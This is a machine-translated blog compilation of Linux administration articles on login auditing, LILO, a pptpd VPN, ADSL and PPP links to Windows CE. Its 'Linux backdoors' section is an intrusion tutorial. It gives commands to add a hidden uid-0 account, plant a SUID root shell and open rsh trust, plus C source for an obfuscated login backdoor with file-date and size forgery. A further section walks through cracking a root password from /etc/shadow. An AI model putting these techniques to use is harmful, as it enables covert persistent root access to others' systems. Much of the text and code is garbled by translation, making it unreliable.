Friday, April 8, 2011

On Linux system administration and auditing of accounts

1. log in account management in Linux login user account management via the utmp and wtmp these two tools.

Wtmp also records the system reset and system state information about the changes. All the utmp and wtmp-relevant data have been saved in/var/run/utmp and/var/log/wtmp both files. These two files are relegated to the root user and access permissions are set to 644, the data in these files are encrypted. You can use this tool to original dump-utmp data converted to ASCII data for system administrators to analyze user logon and system reset and system state information about the changes. Login to account management related command last command provides each user logging in and out of time, there are also system restart and run state changes. By default, the last analysis/var/log/wtmp file and displays each connection and run the state change. Last output information that may be too much to see who cannot cope with, the typical usage is to last – 5, view the latest/var/log/wtmp 5 records. The main use of the who command is reporting system currently logged in user information. Who command provides the following information: user login into use of the system of terminal equipment, the user's address, host name, used by the X display window (if using the XWindows system), the user accepts the other user's messages and chat requests, etc. Ac command provides statistics about user connections, we can use the labels of d and p ac command. Mark d displays the day of total connection statistics, mark p shows each time a user's connection. This statistical information to understand and detect intrusion related user information and other activities. Lastlog command reads the file and produces/var/log/lastlog user last logon information report lastlog command is also used in the Linux system checks unusual log records. 2. System account audit Linux operating system by setting the log file to each user of each order record, but this feature is not turned on by default. Turn on this feature of the process: # touch/var/log/pacct # action/var/log/pact can also use your own file to replace/var/log/pacct this file. However, it must be the path and file name are correct. Sa command and ac command, sa is a statistics command. The command to get each user or each command of the process used, and provides information on the consumption of system resources. To a large extent, sa is a accounting command, identify a particular user, particularly known for special users suspect command is very useful. In addition, because the amount is large, need to deal with a script or program to filter the information. Lastcomm command, and sa command, lastcomm command provides the output of each command, print out and executing each command the time stamp. On this point and said that more than sa lastcomm security. If the system is intrusion, do not believe in the lastlog, utmp, wtm's information in the records, but also not ignored because this information may be modified. Additionally there may be someone who is replaced to deceive the public. In General, has identified some suspicious activity, process accounting can effectively play its role. Use the lastcomm can isolate user activities or execute commands at a specific time. 3. use logrorate on audit file management/var/log/utmp,/var/log/wtmp and/var/log/pacct file is dynamic data files. Wtmp and pacct file is a file tail increasing record. On a busy network, these files become large. Linux provides a program called logrotate, it allows administrators to manage these files. Logrotate read/etc/logrotate.d directory files. Administrator through the directory of the script files that control the operation of the logrotate program. A typical script files: {rotate5 weekly errors root @ serve1r mail root @ server1 copytruncate compress size100k} script files have the following meanings: ● rotate5 — to keep the file with a copy of the current backup and 5 copies of old backups. • Weekly-the weekly address files one at a time, usually the first day of the week. • Errors-to e-mail address to send the error report. ● Mail — send to e-mail address. ● Copytruncate — allows a process to continuously records, backup files are created, the activity log file empty. ● Gzip compress — use the tools on the old log file is compressed. ● Size100k — when the files are automatically processed exceeded 100k.

LIlo's introduction to everyone to learn

Author: answer LINUX and Linux-LILO boot can take many forms, the loader LILO (LinuxLoader) is a flexible boot loader, and other popular bootloader LILO boot mode compared to seem more artistry, in-depth understanding, will help us to easily process multiple systems, the network boot, large hard drive and memory, and many other difficult issues.

First, LILO boot mechanism is well known that the computer's BIOS initially started from control, on some hardware (such as memory, keyboard, etc.) after initialization, it attempts to load the hard disk's master boot record (MBR) or floppy disk boot sector. MBR can run in two ways, one is to go to the active partition and load the appropriate boot sector, and the boot sector is complete the partition operating system loads the basic components; the second is directly from a specified partition loads the information and pass it into any section of the operating system, such as LILO, OS/2bootloader and PartitionMagic etc the boot loader can be configured in this way. Floppy disk boot sector amounted to a hard drive for the active partition's boot sector, it is typically used to load the operating system on the floppy disk. Thus, as long as the LILO is installed in the MBR, the active partition or boot floppy disk, you will be able to take over control of the computer, and then by LILO complete subsequent boot process. LILO is a boot in the built-in table address coding, it's boot program will be able to navigate to the Linux kernel files, this address coding you can follow the cylinder/head/sector (CHS) mode, you can use LBA mode for linear block codes, therefore, even on some SCSI controller LILO can work well. When LILO to navigate to the configuration file after preview displays the boot process, prompt: LILOboot: at this point, the system allows to select a boot different operating systems or different kernel configuration, press the tab key to display the available options list, and then enter the optional or directly enter to select the default configuration, if you choose to boot Linux, you can also pass arguments directly to the system kernel. And the other system's boot loader, LILO has more flexibility, more ways to boot. ● When LILO is installed on the hard disk's MBR, active partition or boot floppy disk, as the bootstrapper's stand-in, it can boot any of the hard drive of any partition on Linux and other operating systems; in addition to the boot sector, it does not have any hidden files do not need to use a specific partition, its configuration file can be in any area, even in Linux irrelevant DOS partition of a subdirectory; it can boot several different kernel configuration, or even several different kernel; • it can boot on the same machine on multiple Linux distributions; it can boot Linux from the network. LILO's flexibility allows its configuration becomes quite complicated, when there are multiple systems coexist, it is recommended to install other operating systems, and finally install Linux, so setting LILO boot on other system would be relatively simple. Second, several important LILO boot LILO boot parameter arguments, only on some of the more important parameter for a presentation. 1. the "boot =" this argument is specified that contains the boot sector of the device name (e.g./dev/had), if this is omitted, the current root partition to read the boot sector. 2. "root =" this parameter tells the kernel starts to which device is used as the root file system, its set value to construct the kernel root file systems device_name, available in the device name is: (1)/dev/hdaN ~/dev/hddN ST-506 compatible hard drives: a to d n partition (2)/dev/sdaN ~/dev/sdeN: SCSI-compatible hard drive, a to e, n partitions (3)/dev/xdaN ~/dev/xdbN XT compatible hard drives: a to b n partitions (4): floppy disk, A/dev/fdN: (N = 0) or B (N = 1) and (5) obtained by the network/dev/nfs: the root file system flags 3. " Nfsroot = "If you need to provide through NFS root file system to boot a diskless workstation, this parameter specifies the network for the kernel root file system is located in computer programs, directories, and NFS, the format is: nfsroot = (page〈 server_ip >:) page〈 root_dir > (, nfs_options >) 4." Nfsaddrs = "set up a network communications requirements of various network interface address, in the absence of this parameter, the kernel will attempt to use a reverse address resolution protocol (RARP) or boot protocol (BOOTP) identify these parameters, the format is: nfsaddrs = page〈 client IP >: page〈 service-IP >: page〈 gateway IP >: page〈 subnet mask >: page〈 client name >: page〈 network device name >: page〈 auto > 5." Image = "Linux kernel file specified. 6. "delay =" set boot the first image the wait time before. 7. "disk =" this argument is a special hard disk definition non-standard parameters. 8. "append =" kernel pass an optionalParameter rows, its typical applications are not fully recognized by the system to automatically specify the parameters of the hard disk, such as: append = "hd = 64, 32,202" 9. " Label = "this parameter for each image, specify a name for the boot-time selection. 10. "read-only" set to read-only linked into the root file system, used for file system consistency check (fsck). 11. "install =" install one of the specified file as the new boot sector, the default is/boot/boot.b. 12. "loader =" describes the use of chain loader (chainloader), the default is/boot/chain.b, if not from the first hard drive or floppy disk boot, this option must be a description. 13. "table =" description contains the partition table of the device name, if this parameter is ignored, the boot loader will not be able to pass the partition information to boot operating system. When this parameter points to the partition table is modified, you must rerun/sbin/lilo. 14. "init =" kernel initialization time execution of the program, usually process as init, getty, rc and s, version of the Linux kernel since 1.3.43 to execute command line/sbin/init description, if there is a problem in the boot process, you can set init =/bin/sh skip directly to the Shell. 15. "ramdisk_start =" because the kernel can not be placed on compression memory file system image to the kernel image to and compressed memory image placed on a floppy, joined "ramdisk_start = page〈 offset >" so that the kernel before? Begin execution. 16. "mem =" one of the aims of this parameter is used for Linux specifies the amount of memory, such as mem = 96MB, bis is mem = nopentium specified tell the kernel do not use 4MB paginated table. 17. the "vga =" set display mode, such as 80 × 50, 132 × 44. Third, LILO typical configuration methods typically, Linux installation program itself can complete the LILO installation configuration, to better solve the problem of multiple system boot, if your system does not automatically complete this configuration, you can manually modify the configuration file/etc/lilo.conf to boot under different conditions. 1. when the system can automatically complete the configuration for this scenario is only one suggestion: LILO installed to a Linux partition's root, not the MBR troubled areas. Assuming the current hda1 in DOS/Windows installed, hda2 Linux installed, then the contents of the/etc/lilo.conf as follows: boot =/dev/hda2 # specifies the boot location compactdelay = 50 # delay 5 seconds # root root = current in the current partition image =/boot/vmlinuz # specify the linux kernel file label = linux # used linux as representative name other =/dev/hda1 # other operating system is located in the partition table =/dev/ad # specify a hard disk that contains the partition table label = dos # use dos as representative name 2. when the system is unable to automatically complete the configuration system does not automatically complete the configuration of the following two ways: (1) BIOS can't directly see Linux root partition; (2) BIOS can only read and write to the standard IDE hard drives before 504MB. At this point, you must follow one of the most basic principles: establishing a BIOS access of smaller Linux partition that contains the kernel files, maps, documents and procedures necessary to load the chain, and root you can be a separate partition. As for the other details on the configuration, we adopted the following instances for instructions. Example 1: the primary hard disk to the IDE interface, second hard drive is a SCSI interface, the root files in SCSI. Solution: in the IDE hard drive partition a smaller Linux partition (/dev/hda2), which contains the basic file, attached to/u2, its main configuration file/etc/lilo.conf to boot =/dev/had # lilo installed in the mbr of the master ide install = install from boot.b/u2/etc/lilo/boot.b # lilo boot record map =/u2/etc/lilo/map # setup build this map file, tell the boot loader the kernel block position compact timeout = 50 image =/u2/vmlinuz # kernel file should be copied to the next label = linux/u2 root =/dev/sda1 # tell kernel root system in other scsi hard disk read-only =/dev/da1 loader =/u2/etc/lilo/chain.b # specified loader label = dos example 2: a standard IDE hard drives to install Linux and DOS/Windows. For large hard disk problems, many people only know less than 1024 cylinder limit, but somehow the standard IDE hard disk only accredit 504MB. In fact, the BIOS int13 calls is a three-digit tuple of CHS coding, 10-bit for the cylinder number, 8 bits for the head number, 6 bits for the sector number. Possible number of cylinders is 0-1023,

Vpn under Centos (pptpd) deployment

6. dial-up login.

Dial-up, log in to view the log of the VPN server, see the user's connection, the following is a fragment of the interception, for reference: Dec1917: 16 01max-vpnpppd [9833]: Plugin/usr/lib/pptpd-logwtmp.soloaded.Dec1917: pptpd/16: 01max-vpnpppd [9833]: pptpd-logwtmp: $ Version $ Dec1917: 16 01max-vpnpppd [9833]: pppdoptionsineffect: Dec1917: 16 01max-vpnpppd [9833]: debug # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: logfile/etc/ppp/vpn.log # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: dump # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: plugin/usr/lib/pptpd/pptpd-logwtmp.so # (fromcommandline) Dec1917: 16 01max-vpnpppd [9833]: require-mschap-v2 # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: refuse-pap # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: refuse-chap # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: refuse-mschap # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: namepptpd # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: pptpd-original-ip200.199.118.72 # (fromcommandline) Dec1917: 16 01max-vpnpppd [9833]: 115200 # (fromcommandline) Dec1917: 16 01max-vpnpppd [9833]: lock # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: local # (fromcommandline) Dec1917: 16 01max-vpnpppd [9833]: novj # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: novjccomp # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: ipparam200.199.118.72 # (fromcommandline) Dec1917: 16 01max-vpnpppd [9833]: ms-dnsxxx # [don'tknowhowtoprintvalue] # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: proxyarp # (from/etc/ppp/options.pptpd) Dec1917: 16 01max-vpnpppd [9833]: 172.16.195.1: 172.16.195.101-200 # (fromcommandline) Dec1917: 16 02max-vpnpppd [9833]: nobsdcomp # (from/etc/ppp/options.pptpd) Dec1917: 16 02max-vpnpppd [9833]: require-mppe-128 # (from/etc/ppp/options.pptpd) Dec1917: 16 02max-vpnpppd [9833]: pppd2.4.4startedbyroot, uid0Dec1917: 16 02max-vpnpppd [9833]: Usinginterfaceppp0Dec1917: 16 02max-vpnpppd [9833]: Connect: ppp0 <-->/dev/pts/1Dec1917: 16 02max-vpnpptpd [9832]: CTRL: IgnoredaSETLINKINFOpacketwithreaLACCMs! Dec1917: 16 02max-vpnpppd [9833]: Unsupportedprotocol'IPv6ControlProtovol ' (0x8057) receivedDec1917: 16 02max-vpnpppd [9833]: MPPE128-bitstatelesscompressionenabledDec1917: 16 04max-vpnpppd [9833]: CannotdetermineethernetaddressforproxyARPDec1917: 16 04max-vpnpppd [9833]: localIPaddress172.16.195.1Dec1917: 16 04max-vpnpppd [9833]: remoteIPaddress172.16.195.101Dec1917: 16 04max-vpnpppd [9833]: pptpd-logwtmp.soip-upppp0sery200.199.118.72root @ max-vpn ~] # this log indicates that there is already a from 200.199.118.72 connect to the VPN server, the account number for sery, assign to the VPN client machine address 172.16.195.101. in the dial-up machine (windows) to view their current network parameters C:\Users\sery > ipconfig/allWindowsIP configure hostname ... ... ... ....: sery-sony primary DNS suffix ... ... ... ..: node type ... ... ... ...: hybrid IP routing enabled. ....: no WINS proxy enabled ... ... ...: no DNS suffix search list ... ... ..: maxthon.netPPP adapter VPN connection: connection-specific DNS suffix .......: description ... ... ... ... ...: the physical address of the VPN connection ... ... ... ....: DHCP enabled ... ... ... ..: no automatic configuration are enabled ... ...: is the IPv4 address of ... ... ... ...: 172.16.195.101 (preferred) subnet mask ... ... ... ...: 255.255.255.255 default gateway ... ... ... ....: 0.0.0.0DNS server ... ... ... ..: 61.135.154.5159.226.240.66TCPIP NetBIOS on ...: enabled seven, set routing and IP masquerading. Although you can log in here, but because of the VPN server does not have a set of related forwarding rules, or no way to access a private network behind the vpn or VPN to access the Internet (Windows machine in the network connection icon in the status bar displays a yellow exclamation mark). Therefore you also need to complete the next steps would be truly finished — read some articles on the Internet, usually just end up here, it seems that the author is logged in the virtual environment. (A) turn on IP forwarding: modify/etc/sysctl.conf configuration file to enable net.ipv4.ip_forward = 1 (2) write a script file, routing, and its contents is as follows: root @ max-vpn ~] # more/usr/local/bin/vpn_route.sh #!/bin/bash/sbin/iptables-tnat-APOSTROUTING-s192.168.195.0/24-oeth0-jSNAT--to-source61.135.251.50/sbin/iptables-tnat-APOSTROUTING-s172.16.195.0/24-oeth1-jSNAT--to-source192.168.195.166/sbin/iptables-tnat-APOSTROUTING-oeth0-jMASQUERADE destination network/vpn's internal network as 192.168.195.0/24, the VPN server has two network adapters, one to connect public network (eth0), the IP address is another NIC 61.135.251.51 even the private network, ip is 192.168.195.166. This will properly routed network involved. Manual execution of this script, see client (windows) can access the target machine in the network: the easiest way is to ping, assumes that destination network has a 192.168.195.100 machine and allow icmp, ping192.168.195.100, normal, and then further access to the server (remote login). No problem, it adds in the power-on self restart it. For security reasons, you can add in this script more iptables rules. This article is taken from "sery" blog, be sure to keep this source http://sery.blog.51cto.com/10037/122108

Hacker technology advanced skills and practice Linux backdoors

Introduction to intruders full back door control system, to facilitate the next time you access and use of a technology.

General by modifying the system configuration file and install a third-party tools to implement the back door. Has a hidden, can bypass the system log, not easily found by the system administrator. Common backdoor technology increase root # echo "e4gle: x: 0: 0::/:/bin/sh" > >/etc/passwd # echo "e4gle::-1:-1:-1:-1:-1:-1: 500" > >/etc/shadow if the system does not allow the uid = 0 in the user log in remotely, you also need to add a normal user account. Crack/sniff the user password for shadow file, use a tool to crack weak JohntheRipper user password. Installation tools, such as sniff sniffit listens to telnet, FTP port, collect the user's password. Place the SUIDSell # cp/bin/bash/dev/.rootsell # chmodu + s/dev/.rootsell ordinary users to run in native, you can obtain a/dev/.rootshell root permissions of shell. Rhosts ++ # echo "+ +" >/.rosts # rsh-lrootvictim.comcs-I can get a rootshell remotely. Use of system services program. Modify/etc/inetd.conf, daytimestreamtcpnowait/bin/shsh-I; replace with the trojan programs, such as in.telnetd in.rexecd inted service program, redirect login program. TCP/UDP/ICMPSellBindShell, mostly based on TCP/UDP protocols of network services programs, high port sniffing, can easily be found. PingBackdoor ICMP packet activation by a Shell back door. TCPACK packet back door, to be able to travel across the firewall. Crontab scheduled task scheduling through the Crontab program installed backdoor scheduled run, usually in the late evening hours, is the system administrator is not online. Shared library file in a shared library embedded backdoor function uses the backdoor password activation Shell, obtain permission to escape the system administrator on binary checksum of the file itself. Kit Rootkit contains a series of systems and the backdoor tool:-clear log in logon log-camouflage checksum-replace netstat, ps, and other network tools-backdoor login program is easy to install and use to load kernel modules (LKM) LKM: dynamic loading of LoadableKernelModules, do not need to recompile the kernel. Intercepted system call, with the hidden directories, files, processes, network connections, and other powerful features. Their invisibility, find difficult. Famous adore LKM and knark Pack. Backdoor detection to my own experience, combined with specific tools, hand work some testing. Use md5 checksum Tripwire or to check the system. With the IDS system, listen to the target machine's suspicious network connection. Example: Login backdoor intruder put original/bin/login backup, and then replace with a paragraph/bin/login. Intruder Telnet came in through the environment variable, or a terminal type, pass the correct backdoor password, will directly receive a Shell; if it is a normal user log in, you will be redirected to the original login file, to handle the normal login. The most simple login backdoor ulogin.c source: instance: login backdoor # include "passWORD" # definePASSWORD # define_PATH_LOGIN "/sbin/logins" main (argc, argv, envp) intargc; char ** argv, * the * envp; {char * display = getenv ("DISPLAY"); if (display == NULL) {execve (_PATH_LOGIN, argv, envp);   perror(_PATH_LOGIN); exit(1); } if(!strcmp(display,PASSWORD)){  system(”/bin/cs”); exit(1); } execve(_PATH_LOGIN,argv,envp); exit(1);} Use the backdoor login first Telnet service is turned on, on your own machine: bash $ exportDISPLAY = passWORDbash $ telnetvictim.comTryingxxx.xxx.xxx.xxx ... Connectedtovictim.com (xxx.xxx.xxx.xxx) .Escapecharacteris '' ^] '.% _Strings command strings command can print out a binary file to display the string used to earlier ulogin program: bash $ stringsulogin/lib/ld-linux.so.2..............DISPLAY/sbin/loginspassWORD/bin/cs backdoor password encrypted, using the DES algorithm 1, the crypt () function, write gen.c program: # include main (intargc,char*argv[]){if(argc!=3){printf(”usage:%s\n”,argv[0]);exit(1);} printf(”%s\n”,crypt(argv[1],argv[2]));} 2. compile-gen, perform., the shadow/genhackui result UiVqMWvDrIQjA. 3. modify the backdoor program ulogin. c:--ciphertext form of password in place of the macro in the define ulogin.c PASSWORD value. --If the backdoor password incorrect, directly to a Shell: if (! strcmp (PASSWORD, crypt (display, PASSWORD))) {system (SHELL); exit (1);} Use strings command can only see the encrypted password. Use exclusive-or (XOR) algorithm, a string in hexadecimal representation, in order to achieve the non-printable effect. 1, encoding program encode.c: charmagic [] = "\x71\x67\x6d\x7a\x65\x61\x7a"; char * de (char * str, char * key) {inti = 0, j = 0, len; len = strlen (key); while (str [I]! = ' \0 ') {str [I] ^ = key [j]; j ++; if (j = = len), j = 0; I ++;} returnstr;} voiddisplay(char*str){inti;for(i=0;i main(){chargets[100],*ptr;ptr=gets;scanf(”%s”,ptr);de(ptr,magic);display(ptr);} 2. compile the encode, get key string executed sequentially and magic string XOR result, for example the filename of the original login/sbin/xlogin, exclusive or after: \x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb3, in such a definition in the source code of the back door: Carlogin [] = "\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb"; and then insert the XOR function, char * de () with the same magic strings, we can figure out the correct backdoor passwords. Use strings command cannot see passwords, path string. Last modified so that the backdoor ulogin of strings output similar to the normal login strings output, practices: the code in ulogin.c by adding a string array charstrings [] = ""; fill in the quotation marks, the normal login program strings output. Confused as real ones, to increase the temptation. Adjust the backdoor's file date, size, and other properties: 1, date # ls-l/sbin/xlogin-r-sr-xr-xrootroot19300Feb111998/sbin/xlogin # touch-t199802110000ulogin # _2, size # ls-lulogin/sbin/xlogin-r-sr-xr-xrootroot7542Feb111998ulogin-r-sr-xr-xrootroot19300Feb111998/sbin/xlogin # bc19300-754211758 # ddif =/sbin/xloginof =/tmp/tbs = 11758count = 11 + 0recordsin1 + 0recordsout11758bytestransferredin0.000379secs (31016746bytes/sec) # cat/tmp/t > > uloginLogin backdoor detection using the command md5sum on the existing/bin/login file for verification, and the previous value for comparison. Use the RPM checksum RedHatLinux: # rpm-Vutil-linux intruders have used backdoor login, who will not be visible to users, see the system process, find login-hxxx.xxx.xxx.xxx.

Linux system password attacks and intrusion protection against hackers

See everyone so enthusiastically that claim the research theme, I couldn't help trying to reclaim a.

Looking to find out, just briefly say Linux system password attack and defense. In the early days of Linux system,/etc/passwd file contains system information for each user, of course, the user's password after a certain amount of numbers and logic algorithm is a result of the operation (visible string) into the passwd file, encryption strength is not very big. Thus, early hackers just got/etc/passwd this file, the system has been hacked into half. Later, as the security level, a passwd file password separate encryption, password encrypted result and other auxiliary information saved to a shadow file. As for how to save the form and the encryption algorithm, you can use the program to set/usr/sbin/authconfig. User login password by calculation and/etc/passwd and/etc/shadow results compared to conform to the allowed login, otherwise login denied. A strong and effective password should be at least 8 characters long, and do not have access to personal information (such as birthdays, name, user name, computer models, and so also try not to connect the phone number in the password and the 2002, 2000, 888, and other digital), the common English words are not good (because available dictionary attacks), the best in passwords have some non-letters (such as numbers, punctuation, control character, and so on), try not to write on paper or computer files, select the password of a good is not related to the letters and numbers or control characters, and is composed of not less than 8-bit length. In order to force the user to specify the password that is strong enough to be modified in the arguments PASS_MIN_LEN/etc/login.defs file (password minimum length). At the same time should limit password use and ensure the regular replacement of the password, it is recommended that you modify the parameter PASS_MIN_DAYS (password use time). Linux is using the DES (the encryption function is a Crypt) or MD5 (functional is Md) encryption algorithm, because of the large, almost difficult to reverse. DES passwords the ciphertext is 13 ASCII characters in the string, and MD5 passwords the ciphertext of the start character is always "$ 1 $". OK, we all know about it. Next, we have to demonstrate it. Is a capture of Red Hat Linux series. Intruder remote overflow servers get a root permission logon interface. How to know the root password? intruder opens/etc/passwd file. It seems that the host account is encrypted with a shadow. Continue reading/etc/shadow. Root of the colon is the encrypted password. Start breaking work. Crack Linux password there are a lot of tools, such as a CrackerJack CrackbyAlexMuffett JohntheRipper, and so on, and JohntheRipper's most powerful, fastest speed. Will download to a local/etc/shadow, start with a simple model of JohntheRipper try, but no results and then hanging a Dictionary look. Here, use the "-w = specify the dictionary file 1.txt". Soon, the root password out, turned out to be: "bigapple". Have the root password, then enter the server easier.

Sunday, April 3, 2011

Linux ADSL dial-up Internet access on the operating system's method in Visual FoxPro

4. start the PPPOE client software using command:/usr/sbin/adsl-start launch PPPOE client software to connect, if successful, will be Connected; if not successful, check the network cables, ADSLMODEM etc physical devices, and view information in/var/log/messages/usr/sbin/adsl-stop close and ISP connections/usr/sbin/adsl-status view the current state of the connection if you want the Linux system starts automatically start ADSL connection, enter the following command # chkconfig-addadsl will currently run level down to the custom boot script to ADSL.

5. test when the connection is successful, use the command: # ifconfig-a in output should contain information of a pile of ppp0, which also bind IP address, instructions have been gained from dial-up IP address. Use the command # netstat-nr view the routing table information, then the default route is the IP address above. If no default route, we can manually add: # routeadddefaultgw above to obtain IP address with the command # nslookupwww sina.com .cn if parse out the SINA's IP, description is already correctly from dial-up access to a DNS server. Finally, use the command ping a domain name or IP, if you have a response that you have finished.

Linux based on PPP protocol and the Windows CE network

Jiang Qing ye qyjohn @ SMTH) software engineering expert, the United States navigation and control of the company (AmericanGNCCorporation) this article describes the Linux host over a network, implement and WindowsCE devices work together.

This article first using the PPP protocol on the Linux host and WindowsCE devices establish a connection, and then run the WindowsCE devices on an FTP server makes Linux hosts can access resources on WindowsCE devices. This article describes solutions for Windows9x/2000/NT host also applies. Background on Linux is an operating system similar to UNIX, it originated in Finland a LinusTorvalds's hobby, but it is now one of the most popular free operating system. Ordinary users in Linux Office, browse the Web, send messages and play the game, many universities and research institutes also Linux to complete everyday computing tasks. In the commercial space, because the Linux system price low, security property of high and very stable, many companies have their own server built on Linux. According to the international commercial data Corporation (IDC), the world's approximately one third of the Web server using Linux as the operating system. WindowsCE, according to Microsoft in WindowsCEandPocketPC: FAQ is defined in the operating systems development business to build a proprietary operating system, a series of components. Original equipment manufacturers (OEMs) can purchase one from Microsoft is called WindowsCE platform development system for the integrated development environment and leverage the system Assembly and compile based WindowsCE operating system, the operating system includes a range of component based WindowsCE and self development of application software or device drivers. As an operating system based on WindowsCE has the Microsoft Windows family of operating systems similar user interface, and therefore subject to many end users and developers of all ages. Currently WindowsCE has been widely used in mobile phones, palmtop computers, personal digital assistants, Salina and electronic dictionaries, and other portable devices. For a long time, WindowsCE devices also need to be equipped with one based on Windows9x/2000/NT host used to Exchange data with WindowsCE devices. Running on that host Microsoft WindowsCE services provided by the software, the software through a data cable and RS-232 WindowsCE devices establish a point-to-point connection, the user can access through the service software, LAN WindowsCE devices inside the other computer is not able to access the WindowsCE devices. If you need to make the LAN inside the other computer can access the device, you need to install the equipment expensive dedicated network adapters and the associated access device that is a very economical solution. This article uses RedHatLinux7.2 operating system PPP server and WindowsCE devices establish a TCP/IP connection, and then run the WindowsCE devices on an FTP server makes Linux hosts can access resources on WindowsCE devices. As a result of this approach is based on WindowsCE devices with RS-232 data cable, do not need to purchase any additional equipment, it is an economical and practical solutions. In addition, the solution presented in this article, on Windows9x/2000/NT host also applies. Connect Linux and WindowsCE point-to-point data transfer protocols (PointtoPointProtocol, PPP) is a transmission through serial line IP packet protocol. Using the PPP protocol, a computer via a serial line, telephone and other communication device login to a remote host and the host or the host's network resources. In point-to-point communication includes server and client in two parts, one client to the server requests a network connection, the server receives the client's request to establish a network connection and assigned to clients the appropriate network resources. When the network connection is established, the server and the client is strictly equivalent. Since Linux operating systems usually have a PPP server and client programs, and WindowsCE operating system usually is only with a PPP client program, so we use the Linux host as a PPP server, WindowsCE devices as a PPP client. In order to use the Linux host as a PPP server, we must first verify that the host has been installed on the PPP server program pppd. Usually this program is installed in the directory,/usr/sbin we can use the following command to find the directory for the existence of this file under: ls/usr/sbin/pppd recent official release of the Linux operating system (for example RedHatLinux6.x/7.x) usually have previously installed a PPP server program. If you have not installed the Linux host server PPP, then we should first of all, download and install a PPP server program, for example pppd2.3.4. Install the package may also require other packages of support, because the application installation is beyond the scope of this article, the interested reader to refer to other relevant information. Confirm that the PPP server is already installed on a Linux host, we need to do some Linux host necessary configuration, in order to make these configuration we need to have root privileges. Build file/etc/ppp/peers/wince, reads as follows:/Dev/ttyS0115200crtscts noaut/usr/sbin/chat-v-f/etc/ppp/wince.cat ' connect ' local 90.0.0.1: 90.0.0.2 build file/etc/ppp/wince.chat, reads as follows: TIMEOUT3600 "CLIENT" "" "" "CLIENT\c SERVER\c" in the above two configuration files, use the wince as the file name is used to indicate the profile is for an WindowsCE devices use. Readers can also use other file name, such as a palm or a handheld, and so on, but you must ensure that both the file name is the same. Configuration file specified using the serial port ttyS0/etc/ppp/peers/wince to 115, rate and customer 200bps devices connect, noauth parameter description in the client request did not need the connection authentication. In the peer-to-peer connections, the server (Linux host) of the IP is 90.0.0.1, client (WindowsCe devices) of the IP is 90.0.0.2. Profile/etc/ppp/wince.chat in TIMEOUT parameter specifies the server wait time, if you exceed this time still did not receive the client connection request the termination of the current server program. If any readers need to further understand the related configuration, please refer to their own chat documentation and pppd. WindowsCE devices-end configuration needs to be done relatively simple. Because the default for WindowsCE AutoConnect feature uses the device's serial port, we first need to stop using that function. In the start menu, select settings > phone > PC-connection "and set it to not enable connection with PC to stop the function. And then we re-establish a connection, in the start menu choose programs > communication->-connection manager, and then click on "make new connection icon to add a new connection named Linux and specify the connection type to linear connection", in the next step specifies use COM1 for connection and set its communication speed is 115,200, specify the TCP/IP settings for the device's IP is 90.0.0.2. Click OK to save the connection appears in the program-> communication menu inside. Use the following command at the Linux host start PPP server: pppdcallwince WindowsCE devices to start the new connection (program-> communication-> Linux), the network connection icon appears in the taskbar WindowsCE devices, Linux host displays the following information that is already successful and WindowsCE devices established connections: Serialconnectionestablised. Usinginterfaceppp0 Connect: ppp0ttyS0 foundinterfaceeth0forproxyarp localIPaddress90.0.0.1 remoteIPaddress90.0.0.2 we can also use Linux host provides the ping command to verify that you have successfully establish a connection with WindowsCE devices: ping90.0.0.2 If Linux host is already successful and WindowsCE devices establish a connection, then we should be able to see information similar to the following: PING90.0.0.2 (90.0.0.2) from90.0.0.1: 56 (84) bytesofdata. 64bytesfrom90.0.0.2: icmp_seq = 0ttl = 32time = 26.587msec 64bytesfrom90.0.0.2: icmp_seq = 1ttl = 32time = 19.928msec 64bytesfrom90.0.0.2: icmp_seq = 2ttl = 32time = 19.939msec 64bytesfrom90.0.0.2: icmp_seq = 3ttl = 32time = 19.947msec FTP software based WindowsCE when we are successful in the Linux host and WindowsCE devices establish a PPP connection, the next step can do something about it? of course, we need some suitable programs for Linux and WindowsCE devices for file exchange. We are now able to use the TCP/IP Protocol on the Linux host and transfer data between WindowsCE devices, obviously FTP program is an appropriate choice. FTP (FileTransportProtocol, file transfer protocol) is a widely used on the network protocol for file exchange. As a result of data transmission reliability requirements, FTP is a transport protocol based on TCP/IP. During an FTP session includes a server-side and a client, the client active connection to the server-side and the server sends a file transfer request, the server waits for the client access and processing the client's file transfer requests. PEFTPExplorer is very popular on WindowsCE FTP client software is also available as a full-featured file browser. And on PC commonly used such as CuteFTP and WSFTP FTP client similar to, a user can use the mouse (pointer) scale local-side and server-side tree, uploadOr download the file and directory, or file is a directory to rename, and delete. This software is available from CEArchive website (http://www.cearchives.com/ftp.html). In the Web site readers can also find another very popular FTP client vxFTP. FTP clients software functionality although it is very complete and simple operation, but still inevitable to receive small monitor portable devices. If you can establish a portable device on the FTP server, a file transfer operation can use commonly used on Linux host FTP client. Ftpsrv.exe is one based on WindowsCE FTP server software. The only 28.5KB applets, but does not provide authentication features and Passive transfer mode, is able to handle most common FTP requests. Use Microsoft WindowsCE service software will ftpsrv.exe uploaded to your portable device in any directory, launch the program later in the task bar will appear similar to the one computer connects two portable devices in small icons. Use the pointer to click on the icon will appear a small control window, here we can change the port number of the FTP server or terminate the program. Ftpsrv.exe from http://pda.tucows.com/or http://www.oohito.com/. In this two website readers can also find more useful applet. Other if